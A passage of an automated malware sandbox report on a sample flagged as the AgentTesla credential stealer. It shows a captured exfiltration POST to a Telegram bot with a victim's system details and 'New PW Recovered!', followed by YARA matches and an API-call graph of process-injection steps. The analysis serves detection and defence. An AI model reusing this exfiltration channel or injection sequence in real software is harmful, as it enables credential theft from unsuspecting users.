                                                                                                    2022-11-03 11:21:37 UTC0OUTData Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 62 64 39 35 66 34 62 33 65 30 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 35 35 39 36 35 33 34 32 37 39 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 62 64 39 35 66 34 62 33 65 30 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 68 61 72 64 7a 2f 31 33 34 33 34 39 0a 4f 53 46 75 6c 6c
                                                                                                    Data Ascii: -----------------------------8dabd95f4b3e0e1Content-Disposition: form-data; name="chat_id"5596534279-----------------------------8dabd95f4b3e0e1Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/134349OSFull
                                                                                                    2022-11-03 11:21:37 UTC1OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 62 64 39 35 66 34 62 33 65 30 65 31 2d 2d 0d 0a
                                                                                                    Data Ascii: --------------------8dabd95f4b3e0e1--
                                                                                                    2022-11-03 11:21:53 UTC1INHTTP/1.1 200 OK
                                                                                                    Server: nginx/1.18.0
                                                                                                    Date: Thu, 03 Nov 2022 11:21:53 GMT
                                                                                                    Content-Type: application/json
                                                                                                    Content-Length: 688
                                                                                                    Connection: close
                                                                                                    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                    Access-Control-Allow-Origin: *
                                                                                                    Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                    {"ok":true,"result":{"message_id":50,"from":{"id":5577155192,"is_bot":true,"first_name":"Kay111","username":"Kay111_bot"},"chat":{"id":5596534279,"first_name":"MR","last_name":"KAY","type":"private"},"date":1667474513,"document":{"file_name":"user-134349 2022-11-03 12-21-37.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAMyY2OkUUnNkM1JKxT7YenfIZDTlfAAAooOAAJ0ciBTWZevGYTzjT0qBA","file_unique_id":"AgADig4AAnRyIFM","file_size":467},"caption":"New PW Recovered!\n\nUser Name: user/134349\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 102.129.143.15","caption_entities":[{"offset":152,"length":14,"type":"url"}]}}


                                                                                                    Statistics

                                                                                                    CPU Usage

                                                                                                    Click to jump to process

                                                                                                    Memory Usage

                                                                                                    Click to jump to process

                                                                                                    High Level Behavior Distribution

                                                                                                    Click to dive into process behavior distribution

                                                                                                    Behavior

                                                                                                    Click to jump to process

                                                                                                    System Behavior

                                                                                                    General

                                                                                                    Target ID:0
                                                                                                    Start time:12:21:03
                                                                                                    Start date:03/11/2022
                                                                                                    Path:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Imagebase:0x9c0000
                                                                                                    File size:684032 bytes
                                                                                                    MD5 hash:44159444C9BC9980871B80B3AE071FFB
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:.Net C# or VB.NET
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.294910636.0000000002D57000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.293830899.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                    Reputation:low

                                                                                                    General

                                                                                                    Target ID:1
                                                                                                    Start time:12:21:14
                                                                                                    Start date:03/11/2022
                                                                                                    Path:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Wow64 process (32bit):false
                                                                                                    Commandline:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Imagebase:0x170000
                                                                                                    File size:684032 bytes
                                                                                                    MD5 hash:44159444C9BC9980871B80B3AE071FFB
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Reputation:low

                                                                                                    General

                                                                                                    Target ID:2
                                                                                                    Start time:12:21:15
                                                                                                    Start date:03/11/2022
                                                                                                    Path:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    Imagebase:0x470000
                                                                                                    File size:684032 bytes
                                                                                                    MD5 hash:44159444C9BC9980871B80B3AE071FFB
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:.Net C# or VB.NET
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    Reputation:low

                                                                                                    Disassembly

                                                                                                    Reset < >

                                                                                                      Execution Graph

                                                                                                      Execution Coverage:11.2%
                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                      Signature Coverage:0%
                                                                                                      Total number of Nodes:208
                                                                                                      Total number of Limit Nodes:25
                                                                                                      execution_graph 18290 2b340d0 18291 2b340e2 18290->18291 18292 2b340ee 18291->18292 18296 2b341e1 18291->18296 18301 2b33c64 18292->18301 18294 2b3410d 18297 2b34205 18296->18297 18305 2b342e0 18297->18305 18309 2b342d0 18297->18309 18302 2b33c6f 18301->18302 18317 2b351a4 18302->18317 18304 2b36aa3 18304->18294 18307 2b34307 18305->18307 18306 2b343e4 18306->18306 18307->18306 18313 2b33de4 18307->18313 18311 2b342e0 18309->18311 18310 2b343e4 18310->18310 18311->18310 18312 2b33de4 CreateActCtxA 18311->18312 18312->18310 18314 2b35370 CreateActCtxA 18313->18314 18316 2b35433 18314->18316 18316->18316 18318 2b351af 18317->18318 18321 2b35824 18318->18321 18320 2b36c55 18320->18304 18322 2b3582f 18321->18322 18325 2b35854 18322->18325 18324 2b36d3a 18324->18320 18326 2b3585f 18325->18326 18329 2b35884 18326->18329 18328 2b36e2a 18328->18324 18330 2b3588f 18329->18330 18332 2b3753e 18330->18332 18335 2b39480 18330->18335 18331 2b3757c 18331->18328 18332->18331 18340 2b3b5d0 18332->18340 18336 2b39485 18335->18336 18345 2b394a9 18336->18345 18349 2b394b8 18336->18349 18337 2b39496 18337->18332 18341 2b3b601 18340->18341 18342 2b3b625 18341->18342 18372 2b3b782 18341->18372 18376 2b3b790 18341->18376 18342->18331 18346 2b394b8 18345->18346 18352 2b395b0 18346->18352 18347 2b394c7 18347->18337 18351 2b395b0 2 API calls 18349->18351 18350 2b394c7 18350->18337 18351->18350 18353 2b395c3 18352->18353 18354 2b395db 18353->18354 18360 2b39838 18353->18360 18364 2b39828 18353->18364 18354->18347 18355 2b395d3 18355->18354 18356 2b397d8 GetModuleHandleW 18355->18356 18357 2b39805 18356->18357 18357->18347 18361 2b3984c 18360->18361 18363 2b39871 18361->18363 18368 2b39038 18361->18368 18363->18355 18365 2b39838 18364->18365 18366 2b39871 18365->18366 18367 2b39038 LoadLibraryExW 18365->18367 18366->18355 18367->18366 18369 2b39a18 LoadLibraryExW 18368->18369 18371 2b39a91 18369->18371 18371->18363 18373 2b3b790 18372->18373 18374 2b3b7d7 18373->18374 18380 2b3ac24 18373->18380 18374->18342 18377 2b3b79d 18376->18377 18378 2b3b7d7 18377->18378 18379 2b3ac24 2 API calls 18377->18379 18378->18342 18379->18378 18381 2b3ac2f 18380->18381 18382 2b3c0c8 18381->18382 18384 2b3ad0c 18381->18384 18385 2b3ad17 18384->18385 18386 2b35884 2 API calls 18385->18386 18387 2b3c137 18386->18387 18390 2b3def4 18387->18390 18391 2b3c170 18390->18391 18392 2b3df0d 18390->18392 18391->18382 18394 2b3e338 LoadLibraryExW GetModuleHandleW 18392->18394 18395 2b3e348 LoadLibraryExW GetModuleHandleW 18392->18395 18393 2b3df45 18394->18393 18395->18393 18396 2b3bad0 DuplicateHandle 18397 2b3bb66 18396->18397 18276 77c8028 18277 77c81b3 18276->18277 18278 77c804e 18276->18278 18278->18277 18280 77c82a8 PostMessageW 18278->18280 18281 77c8314 18280->18281 18281->18278 18402 77c6848 18403 77c685d 18402->18403 18406 77c6888 18403->18406 18407 77c68a2 18406->18407 18411 77c6d5f 18407->18411 18431 77c6d70 18407->18431 18408 77c686f 18412 77c6d6d 18411->18412 18451 77c6fdc 18412->18451 18457 77c7143 18412->18457 18461 77c7303 18412->18461 18467 77c7042 18412->18467 18471 77c70a1 18412->18471 18477 77c7185 18412->18477 18481 77c7325 18412->18481 18485 77c74cf 18412->18485 18488 77c73cd 18412->18488 18491 77c728c 18412->18491 18495 77c6f52 18412->18495 18499 77c70b7 18412->18499 18503 77c7155 18412->18503 18507 77c7215 18412->18507 18511 77c725b 18412->18511 18515 77c6fb8 18412->18515 18519 77c711f 18412->18519 18413 77c6d97 18413->18408 18432 77c6d85 18431->18432 18434 77c6fdc 2 API calls 18432->18434 18435 77c711f WriteProcessMemory 18432->18435 18436 77c6fb8 CreateProcessA 18432->18436 18437 77c725b ResumeThread 18432->18437 18438 77c7215 CreateProcessA 18432->18438 18439 77c7155 CreateProcessA 18432->18439 18440 77c70b7 ResumeThread 18432->18440 18441 77c6f52 CreateProcessA 18432->18441 18442 77c728c CreateProcessA 18432->18442 18443 77c73cd WriteProcessMemory 18432->18443 18444 77c74cf VirtualAllocEx 18432->18444 18445 77c7325 CreateProcessA 18432->18445 18446 77c7185 CreateProcessA 18432->18446 18447 77c70a1 2 API calls 18432->18447 18448 77c7042 CreateProcessA 18432->18448 18449 77c7303 2 API calls 18432->18449 18450 77c7143 CreateProcessA 18432->18450 18433 77c6d97 18433->18408 18434->18433 18435->18433 18436->18433 18437->18433 18438->18433 18439->18433 18440->18433 18441->18433 18442->18433 18443->18433 18444->18433 18445->18433 18446->18433 18447->18433 18448->18433 18449->18433 18450->18433 18452 77c6fe6 18451->18452 18527 75f98d8 18452->18527 18454 77c6e33 18454->18413 18458 77c6e12 18457->18458 18459 77c6e33 18458->18459 18460 75f9ff0 CreateProcessA 18458->18460 18459->18413 18460->18458 18462 77c7654 18461->18462 18531 75f9650 18462->18531 18463 77c6e12 18464 77c6e33 18463->18464 18465 75f9ff0 CreateProcessA 18463->18465 18464->18413 18465->18463 18468 77c6e12 18467->18468 18468->18413 18469 77c6e33 18468->18469 18470 75f9ff0 CreateProcessA 18468->18470 18469->18413 18470->18468 18472 77c7002 18471->18472 18473 77c6e12 18471->18473 18472->18473 18476 75f98d8 WriteProcessMemory 18472->18476 18474 77c6e33 18473->18474 18475 75f9ff0 CreateProcessA 18473->18475 18474->18413 18475->18473 18476->18473 18479 77c6e12 18477->18479 18478 77c6e33 18478->18413 18479->18478 18480 75f9ff0 CreateProcessA 18479->18480 18480->18479 18483 77c6e12 18481->18483 18482 77c6e33 18482->18413 18483->18482 18484 75f9ff0 CreateProcessA 18483->18484 18484->18483 18535 75f97e8 18485->18535 18490 75f98d8 WriteProcessMemory 18488->18490 18489 77c724a 18489->18413 18490->18489 18492 77c6e12 18491->18492 18493 77c6e33 18492->18493 18494 75f9ff0 CreateProcessA 18492->18494 18493->18413 18494->18492 18496 77c6e12 18495->18496 18496->18495 18497 77c6e33 18496->18497 18498 75f9ff0 CreateProcessA 18496->18498 18497->18413 18498->18496 18500 77c70c1 18499->18500 18501 77c7263 18500->18501 18539 77c7fe0 18500->18539 18501->18413 18505 77c6e12 18503->18505 18504 77c6e33 18504->18413 18505->18504 18506 75f9ff0 CreateProcessA 18505->18506 18506->18505 18509 77c6e12 18507->18509 18508 77c6e33 18508->18413 18509->18508 18510 75f9ff0 CreateProcessA 18509->18510 18510->18509 18512 77c7263 18511->18512 18513 77c70dd 18511->18513 18512->18413 18513->18511 18513->18512 18514 77c7fe0 ResumeThread 18513->18514 18514->18513 18517 77c6e12 18515->18517 18516 77c6e33 18516->18413 18517->18516 18518 75f9ff0 CreateProcessA 18517->18518 18518->18517 18520 77c712c 18519->18520 18522 75f98d8 WriteProcessMemory 18520->18522 18521 77c7a69 18522->18521 18523 75f9ff0 18524 75fa079 CreateProcessA 18523->18524 18526 75fa23b 18524->18526 18528 75f9920 WriteProcessMemory 18527->18528 18530 75f9977 18528->18530 18530->18454 18530->18523 18532 75f9695 SetThreadContext 18531->18532 18534 75f96dd 18532->18534 18534->18463 18536 75f9828 VirtualAllocEx 18535->18536 18538 75f9865 18536->18538 18540 77c7ff5 18539->18540 18543 75f9570 18540->18543 18544 75f95b0 ResumeThread 18543->18544 18546 75f95e1 18544->18546 18546->18500 18398 75f99f8 18399 75f9a43 ReadProcessMemory 18398->18399 18401 75f9a87 18399->18401 18282 2b3b8a8 GetCurrentProcess 18283 2b3b922 GetCurrentThread 18282->18283 18284 2b3b91b 18282->18284 18285 2b3b958 18283->18285 18286 2b3b95f GetCurrentProcess 18283->18286 18284->18283 18285->18286 18289 2b3b995 18286->18289 18287 2b3b9bd GetCurrentThreadId 18288 2b3b9ee 18287->18288 18289->18287

                                                                                                      Executed Functions

                                                                                                      Function 02B3B898 Relevance: 6.1, APIs: 4, Instructions: 125threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      APIs
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 02B3B908
                                                                                                      • GetCurrentThread.KERNEL32 ref: 02B3B945
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 02B3B982
                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 02B3B9DB
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Current$ProcessThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 2063062207-0
                                                                                                      • Opcode ID: 9d50ea1213d219b332dd7d94f89f63657dad07818583802df421e5e9cf2e1dd0
                                                                                                      • Instruction ID: 2f9d4edde8e192fc18d58501005b5794d36cde8088d42803b77a23533cb879f6
                                                                                                      • Opcode Fuzzy Hash: 9d50ea1213d219b332dd7d94f89f63657dad07818583802df421e5e9cf2e1dd0
                                                                                                      • Instruction Fuzzy Hash: AC5175B09142488FDB14CFA9D588BEEBBF0EF48318F2081AAE449A7290D7746844CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B3B8A8 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      APIs
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 02B3B908
                                                                                                      • GetCurrentThread.KERNEL32 ref: 02B3B945
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 02B3B982
                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 02B3B9DB
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Current$ProcessThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 2063062207-0
                                                                                                      • Opcode ID: dfd8821814c50e7be26bbb802e683611a3821610b6e53637232a5b4213649b59
                                                                                                      • Instruction ID: 3a07bbb360713e12ab4a053973715cde45acde83513c8ee966be67694edbad08
                                                                                                      • Opcode Fuzzy Hash: dfd8821814c50e7be26bbb802e683611a3821610b6e53637232a5b4213649b59
                                                                                                      • Instruction Fuzzy Hash: 355165B09146498FDB14CFA9D588BEEBBF0FF48318F208199E519A7390D7746844CF65
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F9FF0 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 41 75f9ff0-75fa085 43 75fa0be-75fa0de 41->43 44 75fa087-75fa091 41->44 49 75fa117-75fa146 43->49 50 75fa0e0-75fa0ea 43->50 44->43 45 75fa093-75fa095 44->45 47 75fa0b8-75fa0bb 45->47 48 75fa097-75fa0a1 45->48 47->43 51 75fa0a5-75fa0b4 48->51 52 75fa0a3 48->52 60 75fa17f-75fa239 CreateProcessA 49->60 61 75fa148-75fa152 49->61 50->49 53 75fa0ec-75fa0ee 50->53 51->51 54 75fa0b6 51->54 52->51 55 75fa111-75fa114 53->55 56 75fa0f0-75fa0fa 53->56 54->47 55->49 58 75fa0fe-75fa10d 56->58 59 75fa0fc 56->59 58->58 62 75fa10f 58->62 59->58 72 75fa23b-75fa241 60->72 73 75fa242-75fa2c8 60->73 61->60 63 75fa154-75fa156 61->63 62->55 65 75fa179-75fa17c 63->65 66 75fa158-75fa162 63->66 65->60 67 75fa166-75fa175 66->67 68 75fa164 66->68 67->67 69 75fa177 67->69 68->67 69->65 72->73 83 75fa2ca-75fa2ce 73->83 84 75fa2d8-75fa2dc 73->84 83->84 87 75fa2d0 83->87 85 75fa2de-75fa2e2 84->85 86 75fa2ec-75fa2f0 84->86 85->86 88 75fa2e4 85->88 89 75fa2f2-75fa2f6 86->89 90 75fa300-75fa304 86->90 87->84 88->86 89->90 91 75fa2f8 89->91 92 75fa316-75fa31d 90->92 93 75fa306-75fa30c 90->93 91->90 94 75fa31f-75fa32e 92->94 95 75fa334 92->95 93->92 94->95
                                                                                                      APIs
                                                                                                      • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 075FA226
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CreateProcess
                                                                                                      • String ID:
                                                                                                      • API String ID: 963392458-0
                                                                                                      • Opcode ID: 40d2e0a44b3c33c0d781233b5479decfc9430596dce732d74b4810e6b2237115
                                                                                                      • Instruction ID: c0336f8a834d86e6c119ab7e4343194b256570443d585eec1129516ed398fd6b
                                                                                                      • Opcode Fuzzy Hash: 40d2e0a44b3c33c0d781233b5479decfc9430596dce732d74b4810e6b2237115
                                                                                                      • Instruction Fuzzy Hash: ED917CB1D00219CFDB10CFA8CC41BEEBBB6BF49314F05856AD918A7280DB759985CF92
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B395B0 Relevance: 1.7, APIs: 1, Instructions: 194COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 97 2b395b0-2b395c5 call 2b38fd4 100 2b395c7 97->100 101 2b395db-2b395df 97->101 151 2b395cd call 2b39838 100->151 152 2b395cd call 2b39828 100->152 102 2b395f3-2b39634 101->102 103 2b395e1-2b395eb 101->103 108 2b39641-2b3964f 102->108 109 2b39636-2b3963e 102->109 103->102 104 2b395d3-2b395d5 104->101 105 2b39710-2b397d0 104->105 146 2b397d2-2b397d5 105->146 147 2b397d8-2b39803 GetModuleHandleW 105->147 111 2b39673-2b39675 108->111 112 2b39651-2b39656 108->112 109->108 113 2b39678-2b3967f 111->113 114 2b39661 112->114 115 2b39658-2b3965f call 2b38fe0 112->115 116 2b39681-2b39689 113->116 117 2b3968c-2b39693 113->117 120 2b39663-2b39671 114->120 115->120 116->117 121 2b396a0-2b396a9 call 2b38ff0 117->121 122 2b39695-2b3969d 117->122 120->113 127 2b396b6-2b396bb 121->127 128 2b396ab-2b396b3 121->128 122->121 130 2b396d9-2b396e6 127->130 131 2b396bd-2b396c4 127->131 128->127 137 2b39709-2b3970f 130->137 138 2b396e8-2b39706 130->138 131->130 132 2b396c6-2b396d6 call 2b39000 call 2b39010 131->132 132->130 138->137 146->147 148 2b39805-2b3980b 147->148 149 2b3980c-2b39820 147->149 148->149 151->104 152->104
                                                                                                      APIs
                                                                                                      • GetModuleHandleW.KERNELBASE(00000000), ref: 02B397F6
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: HandleModule
                                                                                                      • String ID:
                                                                                                      • API String ID: 4139908857-0
                                                                                                      • Opcode ID: 005522b2f97db43472d3703e2fa7bdd38bb1de7b5486ae07dc36e80c8da1a3e0
                                                                                                      • Instruction ID: 0811ab654e3c28991e07cf12b1f86bcff032fba3f6deabce8664b5dd2960d7fd
                                                                                                      • Opcode Fuzzy Hash: 005522b2f97db43472d3703e2fa7bdd38bb1de7b5486ae07dc36e80c8da1a3e0
                                                                                                      • Instruction Fuzzy Hash: 81712370A00B058FDB25DF2AD444B9ABBF5FF88304F008969D58ADBA40DB75E849CF91
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B35368 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 170 2b35368-2b3536a 171 2b35370-2b35431 CreateActCtxA 170->171 173 2b35433-2b35439 171->173 174 2b3543a-2b35494 171->174 173->174 181 2b354a3-2b354a7 174->181 182 2b35496-2b35499 174->182 183 2b354a9-2b354b5 181->183 184 2b354b8 181->184 182->181 183->184 186 2b354b9 184->186 186->186
                                                                                                      APIs
                                                                                                      • CreateActCtxA.KERNEL32(?), ref: 02B35421
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Create
                                                                                                      • String ID:
                                                                                                      • API String ID: 2289755597-0
                                                                                                      • Opcode ID: 455d39b05696ac6be9f5f6ce2fa62b695dbf9a5c683285b248fbec31eaf5b53c
                                                                                                      • Instruction ID: 2faa549723da312a25c5dc6b1d072c4bf2c4ba6c81aff7da7e21f2a2fc9515b2
                                                                                                      • Opcode Fuzzy Hash: 455d39b05696ac6be9f5f6ce2fa62b695dbf9a5c683285b248fbec31eaf5b53c
                                                                                                      • Instruction Fuzzy Hash: F7412271C0421CCBDB24CFA9C884BDEBBB5BF88308F548069D408AB251DB796945CF90
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B33DE4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 153 2b33de4-2b35431 CreateActCtxA 156 2b35433-2b35439 153->156 157 2b3543a-2b35494 153->157 156->157 164 2b354a3-2b354a7 157->164 165 2b35496-2b35499 157->165 166 2b354a9-2b354b5 164->166 167 2b354b8 164->167 165->164 166->167 169 2b354b9 167->169 169->169
                                                                                                      APIs
                                                                                                      • CreateActCtxA.KERNEL32(?), ref: 02B35421
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.293555161.0000000002B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B30000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_2b30000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Create
                                                                                                      • String ID:
                                                                                                      • API String ID: 2289755597-0
                                                                                                      • Opcode ID: f2f00eb52ce425a8c8d714b0fa074bf3a4a336f2160fb740f02e49978eb33483
                                                                                                      • Instruction ID: f506c3483ad0d8395f5248e17486e709c6a684e03df9d0aa42329c43946cc9b1
                                                                                                      • Opcode Fuzzy Hash: f2f00eb52ce425a8c8d714b0fa074bf3a4a336f2160fb740f02e49978eb33483
                                                                                                      • Instruction Fuzzy Hash: 33411271C0461CCBDB24DFA9C884BDEBBB5BF48309F548069D508BB251DBB56945CF90
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 075F98D8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 187 75f98d8-75f9926 189 75f9928-75f9934 187->189 190 75f9936-75f9975 WriteProcessMemory 187->190 189->190 192 75f997e-75f99ae 190->192 193 75f9977-75f997d 190->193 193->192
                                                                                                      APIs
                                                                                                      • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 075F9968
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.309279593.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_75f0000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessWrite
                                                                                                      • String ID:
                                                                                                      • API String ID: 3559483778-0
                                                                                                      • Opcode ID: 692190ddecd5171d4491f14b6d72c605caea71047feaaf21e2c523922c2a9d30
                                                                                                      • Instruction ID: 8880898bd306a5709ccd26bb1948d15cab10c8cfb900ab16accad9f3bdf2615f
                                                                                                      • Opcode Fuzzy Hash: 692190ddecd5171d4491f14b6d72c605caea71047feaaf21e2c523922c2a9d30
                                                                                                      • Instruction Fuzzy Hash: 382139B19043499FCF10CFA9C984BEEBBF5FF48314F01842AE959A7240D778A954CBA0
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 02B3BAC8 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 197 2b3bac8-2b3baca 198 2b3bad0-2b3bb64 DuplicateHandle 197->198 199 2b3bb66-2b3bb6c 198->199 200 2b3bb6d-2b3bb8a 198->200 199->200
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B3BB57
                                                                                                      Memory Dump Source
